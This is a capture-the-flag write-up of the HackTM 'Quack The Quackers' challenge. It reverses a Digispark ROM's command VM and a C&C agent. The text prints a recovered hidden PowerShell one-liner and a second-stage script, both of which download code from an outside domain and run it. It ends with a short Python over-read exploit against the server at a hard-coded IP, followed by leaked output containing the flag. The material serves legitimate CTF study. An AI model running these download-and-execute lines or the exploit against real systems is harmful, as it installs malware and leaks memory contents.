“Quack The Quackers” writeup
What we have
A quack_the_quackers.rom file
information that this is a file from a `digispark` device
Step 1
Looking up `digispark` on the net we found that it is based on an `atmel attinyXX` processor.
Thus we loaded the ROM file with IDA-PRO with the ATMEL architecture, but we still had to select a an exact processor type.
Seems that the closeset represention was given by the ATMEGA-168P setting in IDA, and we are pretty sure that IDA lacks the exact processor representation of this ROM. This is significant when peripherals are accessed.
Step 2
Reversing the binary we discovered a very tiny VM that was processing sequentially a long string of one byte commands.
The six commands were 'Q', 'U', 'A', 'C', 'K' and '!'.
* The U command increments the Y register [Y++]
* The K command decrements the Y register [Y--]
* The A command squares the Y register [Y*=Y]
* The C command seems to be an output command that outputs CONST_TABLE[Y]
To be honest we don't really know what 'Q', '!' do exactly. They seem to be connected to the I/O subsystem, and probably have to do with initialization and termination, as they appear exactly once in the code.
'Q' appears once at the beginning, and '!' appears once at the end.
Small note: there was overflow handling of Y at the end of each command.
Step 3
We wrote a Python script to emulate the above VM, printing each charachter that was generated by the 'C' command.
The following output was produced:
`powershell -noprofile -windowstyle hidden -command "iwr nmdfthufjskdnbfwhejklacms.xyz/-ps|iex`
Step 4
The above line seems to be downloading a script from `nmdfthufjskdnbfwhejklacms.xyz/-ps` and running it.
So running
`$ wget nmdfthufjskdnbfwhejklacms.xyz/-ps`
We received the following script:
iwr nmdfthufjskdnbfwhejklacms.xyz/quack.exe -outfile env:temp/quack.exe Start-Process -WindowStyle hidden -FilePathenv:temp/quack.exe
Thus, which again, downloads `quack.exe` from the same domain, and runs it
Step 5
The ```quack.exe``` is PE32 agent which talks with C&C in proprietary protocol;
Packet looks like; Code + Data length + Data
Code is one byte;
- "@" = connect/echo
- "L" = send list of current directory files
- "f" = send file content (first 256 bytes)
We saw that the agent first sends "@" with random string and receives the random string back, then the agent sends list of files (with "L") and receive one of the files and then it sends (with "f") the first 256 bytes of the requested file.
If we send less bytes than the length we mentioned and send EOF/FIN ( Heartbleed ) the server will read the number of bytes we mentioned from memory and send it back to us.
```py
import struct
from socket import socket, AF_INET, SOCK_STREAM, SHUT_WR
s = socket(AF_INET, SOCK_STREAM)
s.connect((‘139.59.212.1′, 19834))
code, length, string = b’@’, struct.pack(‘B’, 255), b’A’
s.sendall(code + length + string)
s.shutdown(SHUT_WR)
print(s.recv(1024))
“`
<pre><code> “`sh
b”A\x00\x00\x00\x00\x00\x00\x00T COMPANY SECRET: HackTM{Qu4ck_m3_b4ck_b4by!}HAT. Lucas requests the HackTM{Qu4ck_m3_b4ck_b4by!} page. Eve (administrator) wants to set the server’s master key to HackTM{Qu4ck_m3_b4ck_b4by!}. Isabel wants pages about HackTM{Qu4ck_m3_b4ck_b4by!}.zz”
“`